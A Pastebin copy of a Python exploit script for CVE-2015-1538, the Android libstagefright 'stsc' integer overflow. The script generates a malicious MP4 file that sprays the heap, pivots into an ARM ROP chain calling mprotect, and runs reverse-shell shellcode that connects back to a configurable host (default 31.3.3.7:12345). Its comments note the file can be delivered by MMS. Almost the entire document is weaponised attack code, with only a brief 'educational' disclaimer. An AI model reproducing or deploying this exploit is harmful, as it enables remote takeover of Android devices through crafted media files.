Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- # Joshua J. Drake (@jduck) of ZIMPERIUM zLabs
- # Shout outs to our friends at Optiv (formerly Accuvant Labs)
- # (C) Joshua J. Drake, ZIMPERIUM Inc, Mobile Threat Protection, 2015
- # www.zimperium.com
- #
- # Exploit for RCE Vulnerability CVE-2015-1538 #1
- # Integer Overflow in the libstagefright MP4 ‘stsc’ atom handling
- #
- # Don’t forget, the output of “create_mp4” can be delivered many ways!
- # MMS is the most dangerous attack vector, but not the only one…
- #
- # DISCLAIMER: This exploit is for testing and educational purposes only. Any
- # other usage for this code is not allowed. Use at your own risk.
- #
- # “With great power comes great responsibility.” – Uncle Ben
- #
- import struct
- import socket
- #
- # Creates a single MP4 atom – LEN, TAG, DATA
- #
- def make_chunk(tag, data):
- if len(tag) != 4:
- raise ‘Yo! They call it “FourCC” for a reason.’
- ret = struct.pack(‘>L’, len(data) + 8)
- ret += tag
- ret += data
- return ret
- #
- # Make an ‘stco’ atom – Sample Table Chunk Offets
- #
- def make_stco(extra=”):
- ret = struct.pack(‘>L’, 0) # version
- ret += struct.pack(‘>L’, 0) # mNumChunkOffsets
- return make_chunk(‘stco’, ret+extra)
- #
- # Make an ‘stsz’ atom – Sample Table Size
- #
- def make_stsz(extra=”):
- ret = struct.pack(‘>L’, 0) # version
- ret += struct.pack(‘>L’, 0) # mDefaultSampleSize
- ret += struct.pack(‘>L’, 0) # mNumSampleSizes
- return make_chunk(‘stsz’, ret+extra)
- #
- # Make an ‘stts’ atom – Sample Table Time-to-Sample
- #
- def make_stts():
- ret = struct.pack(‘>L’, 0) # version
- ret += struct.pack(‘>L’, 0) # mTimeToSampleCount
- return make_chunk(‘stts’, ret)
- #
- # This creates a single Sample Table Sample-to-Chunk entry
- #
- def make_stsc_entry(start, per, desc):
- ret = ”
- ret += struct.pack(‘>L’, start + 1)
- ret += struct.pack(‘>L’, per)
- ret += struct.pack(‘>L’, desc)
- return ret
- #
- # Make an ‘stsc’ chunk – Sample Table Sample-to-Chunk
- #
- # If the caller desires, we will attempt to trigger (CVE-2015-1538 #1) and
- # cause a heap overflow.
- #
- def make_stsc(num_alloc, num_write, sp_addr=0x42424242, do_overflow = False):
- ret = struct.pack(‘>L’, 0) # version/flags
- # this is the clean version…
- if not do_overflow:
- ret += struct.pack(‘>L’, num_alloc) # mNumSampleToChunkOffsets
- ret += ‘Z’ * (12 * num_alloc)
- return make_chunk(‘stsc’, ret)
- # now the explicit version. (trigger the bug)
- ret += struct.pack(‘>L’, 0xc0000000 + num_alloc) # mNumSampleToChunkOffsets
- # fill in the entries that will overflow the buffer
- for x in range(0, num_write):
- ret += make_stsc_entry(sp_addr, sp_addr, sp_addr)
- ret = make_chunk(‘stsc’, ret)
- # patch the data_size
- ret = struct.pack(‘>L’, 8 + 8 + (num_alloc * 12)) + ret[4:]
- return ret
- #
- # Build the ROP chain
- #
- # ROP pivot by Georg Wicherski! Thanks!
- #
- “””
- (gdb) x/10i __dl_restore_core_regs
- 0xb0002850 <__dl_restore_core_regs>: add r1, r0, #52 ; 0x34
- 0xb0002854 <__dl_restore_core_regs+4>: ldm r1, {r3, r4, r5}
- 0xb0002858 <__dl_restore_core_regs+8>: push {r3, r4, r5}
- 0xb000285c <__dl_restore_core_regs+12>: ldm r0, {r0, r1, r2, r3, r4, r5, r6, r7, r8, r9, r10, r11}
- 0xb0002860 <__dl_restore_core_regs+16>: ldm sp, {sp, lr, pc}
- “””
- “””
- b0001144 <__dl_mprotect>:
- b0001144: e92d0090 push {r4, r7}
- b0001148: e3a0707d mov r7, #125 ; 0x7d
- b000114c: ef000000 svc 0x00000000
- b0001150: e8bd0090 pop {r4, r7}
- b0001154: e1b00000 movs r0, r0
- b0001158: 512fff1e bxpl lr
- b000115c: ea0015cc b b0006894 <__dl_raise+0x10>
- “””
- def build_rop(off, sp_addr, newpc_val, cb_host, cb_port):
- rop = ”
- rop += struct.pack(‘<L’, sp_addr + off + 0x10) # new sp
- rop += struct.pack(‘<L’, 0xb0002a98) # new lr – pop {pc}
- rop += struct.pack(‘<L’, 0xb00038b2+1) # new pc: pop {r0, r1, r2, r3, r4, pc}
- rop += struct.pack(‘<L’, sp_addr & 0xfffff000) # new r0 – base address (page aligned)
- rop += struct.pack(‘<L’, 0x1000) # new r1 – length
- rop += struct.pack(‘<L’, 7) # new r2 – protection
- rop += struct.pack(‘<L’, 0xd000d003) # new r3 – scratch
- rop += struct.pack(‘<L’, 0xd000d004) # new r4 – scratch
- rop += struct.pack(‘<L’, 0xb0001144) # new pc – _dl_mprotect
- native_start = sp_addr + 0x80
- rop += struct.pack(‘<L’, native_start) # address of native payload
- #rop += struct.pack(‘<L’, 0xfeedfed5) # top of stack…
- # linux/armle/shell_reverse_tcp (modified to pass env and fork/exit)
- buf = ”
- # fork
- buf += ‘\x02\x70\xa0\xe3’
- buf += ‘\x00\x00\x00\xef’
- # continue if not parent…
- buf += ‘\x00\x00\x50\xe3’
- buf += ‘\x02\x00\x00\x0a’
- # exit parent
- buf += ‘\x00\x00\xa0\xe3’
- buf += ‘\x01\x70\xa0\xe3’
- buf += ‘\x00\x00\x00\xef’
- # setsid in child
- buf += ‘\x42\x70\xa0\xe3’
- buf += ‘\x00\x00\x00\xef’
- # socket/connect/dup2/dup2/dup2
- buf += ‘\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x05\x20\x81\xe2\x8c’
- buf += ‘\x70\xa0\xe3\x8d\x70\x87\xe2\x00\x00\x00\xef\x00\x60’
- buf += ‘\xa0\xe1\x6c\x10\x8f\xe2\x10\x20\xa0\xe3\x8d\x70\xa0’
- buf += ‘\xe3\x8e\x70\x87\xe2\x00\x00\x00\xef\x06\x00\xa0\xe1’
- buf += ‘\x00\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00\x00\xef\x06’
- buf += ‘\x00\xa0\xe1\x01\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00’
- buf += ‘\x00\xef\x06\x00\xa0\xe1\x02\x10\xa0\xe3\x3f\x70\xa0’
- buf += ‘\xe3\x00\x00\x00\xef’
- # execve(shell, argv, env)
- buf += ‘\x30\x00\x8f\xe2\x04\x40\x24\xe0’
- buf += ‘\x10\x00\x2d\xe9\x38\x30\x8f\xe2\x08\x00\x2d\xe9\x0d’
- buf += ‘\x20\xa0\xe1\x10\x00\x2d\xe9\x24\x40\x8f\xe2\x10\x00’
- buf += ‘\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00’
- buf += ‘\xef\x02\x00’
- # Add the connect back host/port
- buf += struct.pack(‘!H’, cb_port)
- cb_host = socket.inet_aton(cb_host)
- buf += struct.pack(‘=4s’, cb_host)
- # shell –
- buf += ‘/system/bin/sh\x00\x00’
- # argv –
- buf += ‘sh\x00\x00’
- # env –
- buf += ‘PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin\x00’
- # Add some identifiable stuff, just in case something goes awry…
- rop_start_off = 0x34
- x = rop_start_off + len(rop)
- while len(rop) < 0x80 – rop_start_off:
- rop += struct.pack(‘<L’, 0xf0f00000+x)
- x += 4
- # Add the native payload…
- rop += buf
- return rop
- #
- # Build an mp4 that exploits CVE-2015-1538 #1
- #
- # We mimic meow.3gp here…
- #
- def create_mp4(sp_addr, newpc_val, cb_host, cb_port):
- chunks = []
- # Build the MP4 header…
- ftyp = ‘mp42’
- ftyp += struct.pack(‘>L’, 0)
- ftyp += ‘mp42’
- ftyp += ‘isom’
- chunks.append(make_chunk(‘ftyp’, ftyp))
- # Note, this causes a few allocations…
- moov_data = ”
- moov_data += make_chunk(‘mvhd’,
- struct.pack(‘>LL’, 0, 0x41414141) +
- (‘B’ * 0x5c) )
- # Add a minimal, verified trak to satisfy mLastTrack being set
- moov_data += make_chunk(‘trak’,
- make_chunk(‘stbl’,
- make_stsc(0x28, 0x28) +
- make_stco() +
- make_stsz() +
- make_stts() ))
- # Spray the heap using a large tx3g chunk (can contain binary data!)
- “””
- 0x4007004e <_ZNK7android7RefBase9decStrongEPKv+2>: ldr r4, [r0, #4] ; load mRefs
- 0x40070050 <_ZNK7android7RefBase9decStrongEPKv+4>: mov r5, r0
- 0x40070052 <_ZNK7android7RefBase9decStrongEPKv+6>: mov r6, r1
- 0x40070054 <_ZNK7android7RefBase9decStrongEPKv+8>: mov r0, r4
- 0x40070056 <_ZNK7android7RefBase9decStrongEPKv+10>: blx 0x40069884 ; atomic_decrement
- 0x4007005a <_ZNK7android7RefBase9decStrongEPKv+14>: cmp r0, #1 ; must be 1
- 0x4007005c <_ZNK7android7RefBase9decStrongEPKv+16>: bne.n 0x40070076 <_ZNK7android7RefBase9decStrongEPKv+42>
- 0x4007005e <_ZNK7android7RefBase9decStrongEPKv+18>: ldr r0, [r4, #8] ; load refs->mBase
- 0x40070060 <_ZNK7android7RefBase9decStrongEPKv+20>: ldr r1, [r0, #0] ; load mBase._vptr
- 0x40070062 <_ZNK7android7RefBase9decStrongEPKv+22>: ldr r2, [r1, #12] ; load method address
- 0x40070064 <_ZNK7android7RefBase9decStrongEPKv+24>: mov r1, r6
- 0x40070066 <_ZNK7android7RefBase9decStrongEPKv+26>: blx r2 ; call it!
- “””
- page = ”
- off = 0 # the offset to the next object
- off += 8
- page += struct.pack(‘<L’, sp_addr + 8 + 16 + 8 + 12 – 28) # _vptr.RefBase (for when we smash mDataSource)
- page += struct.pack(‘<L’, sp_addr + off) # mRefs
- off += 16
- page += struct.pack(‘<L’, 1) # mStrong
- page += struct.pack(‘<L’, 0xc0dedbad) # mWeak
- page += struct.pack(‘<L’, sp_addr + off) # mBase
- page += struct.pack(‘<L’, 16) # mFlags (dont set OBJECT_LIFETIME_MASK)
- off += 8
- page += struct.pack(‘<L’, sp_addr + off) # the mBase _vptr.RefBase
- page += struct.pack(‘<L’, 0xf00dbabe) # mBase.mRefs (unused)
- off += 16
- page += struct.pack(‘<L’, 0xc0de0000 + 0x00) # vtable entry 0
- page += struct.pack(‘<L’, 0xc0de0000 + 0x04) # vtable entry 4
- page += struct.pack(‘<L’, 0xc0de0000 + 0x08) # vtable entry 8
- page += struct.pack(‘<L’, newpc_val) # vtable entry 12
- rop = build_rop(off, sp_addr, newpc_val, cb_host, cb_port)
- x = len(page)
- while len(page) < 4096:
- page += struct.pack(‘<L’, 0xf0f00000+x)
- x += 4
- off = 0x34
- page = page[:off] + rop + page[off+len(rop):]
- spray = page * (((2*1024*1024) / len(page)) – 20)
- moov_data += make_chunk(‘tx3g’, spray)
- block = ‘A’ * 0x1c
- bigger = ‘B’ * 0x40
- udta = make_chunk(‘udta’,
- make_chunk(‘meta’,
- struct.pack(‘>L’, 0) +
- make_chunk(‘ilst’,
- make_chunk(‘cpil’, make_chunk(‘data’, struct.pack(‘>LL’, 21, 0) + ‘A’)) +
- make_chunk(‘trkn’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + ‘AAAABBBB’)) +
- make_chunk(‘disk’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + ‘AAAABB’)) +
- make_chunk(‘covr’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) * 32 +
- make_chunk(‘\xa9alb’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
- make_chunk(‘\xa9ART’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
- make_chunk(‘aART’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
- make_chunk(‘\xa9day’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
- make_chunk(‘\xa9nam’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
- make_chunk(‘\xa9wrt’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
- make_chunk(‘gnre’, make_chunk(‘data’, struct.pack(‘>LL’, 1, 0) + block)) +
- make_chunk(‘covr’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) * 32 +
- make_chunk(‘\xa9ART’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + bigger)) +
- make_chunk(‘\xa9wrt’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + bigger)) +
- make_chunk(‘\xa9day’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + bigger)))
- )
- )
- moov_data += udta
- # Make the nasty trak
- tkhd1 = ”.join([
- ‘\x00’, # version
- ‘D’ * 3, # padding
- ‘E’ * (5*4), # {c,m}time, id, ??, duration
- ‘F’ * 0x10, # ??
- struct.pack(‘>LLLLLL’,
- 0x10000, # a00
- 0, # a01
- 0, # dx
- 0, # a10
- 0x10000, # a11
- 0), # dy
- ‘G’ * 0x14
- ])
- trak1 = ”
- trak1 += make_chunk(‘tkhd’, tkhd1)
- mdhd1 = ”.join([
- ‘\x00’, # version
- ‘D’ * 0x17, # padding
- ])
- mdia1 = ”
- mdia1 += make_chunk(‘mdhd’, mdhd1)
- mdia1 += make_chunk(‘hdlr’, ‘F’ * 0x3a)
- dinf1 = ”
- dinf1 += make_chunk(‘dref’, ‘H’ * 0x14)
- minf1 = ”
- minf1 += make_chunk(‘smhd’, ‘G’ * 0x08)
- minf1 += make_chunk(‘dinf’, dinf1)
- # Build the nasty sample table to trigger the vulnerability here.
- stbl1 = make_stsc(3, (0x1200 / 0xc) – 1, sp_addr, True) # TRIGGER
- # Add the stbl to the minf chunk
- minf1 += make_chunk(‘stbl’, stbl1)
- # Add the minf to the mdia chunk
- mdia1 += make_chunk(‘minf’, minf1)
- # Add the mdia to the track
- trak1 += make_chunk(‘mdia’, mdia1)
- # Add the nasty track to the moov data
- moov_data += make_chunk(‘trak’, trak1)
- # Finalize the moov chunk
- moov = make_chunk(‘moov’, moov_data)
- chunks.append(moov)
- # Combine outer chunks together and voila.
- data = ”.join(chunks)
- return data
- if __name__ == ‘__main__’:
- import sys
- import mp4
- import argparse
- def write_file(path, content):
- with open(path, ‘wb’) as f:
- f.write(content)
- def addr(sval):
- if sval.startswith(‘0x’):
- return int(sval, 16)
- return int(sval)
- # The address of a fake StrongPointer object (sprayed)
- sp_addr = 0x41d00010 # takju @ imm76i – 2MB (via hangouts)
- # The address to of our ROP pivot
- newpc_val = 0xb0002850 # point sp at __dl_restore_core_regs
- # Allow the user to override parameters
- parser = argparse.ArgumentParser()
- parser.add_argument(‘-c’, ‘–connectback-host’, dest=’cbhost’, default=’31.3.3.7′)
- parser.add_argument(‘-p’, ‘–connectback-port’, dest=’cbport’, type=int, default=12345)
- parser.add_argument(‘-s’, ‘–spray-address’, dest=’spray_addr’, type=addr, default=None)
- parser.add_argument(‘-r’, ‘–rop-pivot’, dest=’rop_pivot’, type=addr, default=None)
- parser.add_argument(‘-o’, ‘–output-file’, dest=’output_file’, default=’cve-2015-1538-1.mp4′)
- args = parser.parse_args()
- if len(sys.argv) == 1:
- parser.print_help()
- sys.exit(-1)
- if args.spray_addr == None:
- args.spray_addr = sp_addr
- if args.rop_pivot == None:
- args.rop_pivot = newpc_val
- # Build the MP4 file…
- data = mp4.create_mp4(args.spray_addr, args.rop_pivot, args.cbhost, args.cbport)
- print(‘[*] Saving crafted MP4 to %s …’ % args.output_file)
- write_file(args.output_file, data)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement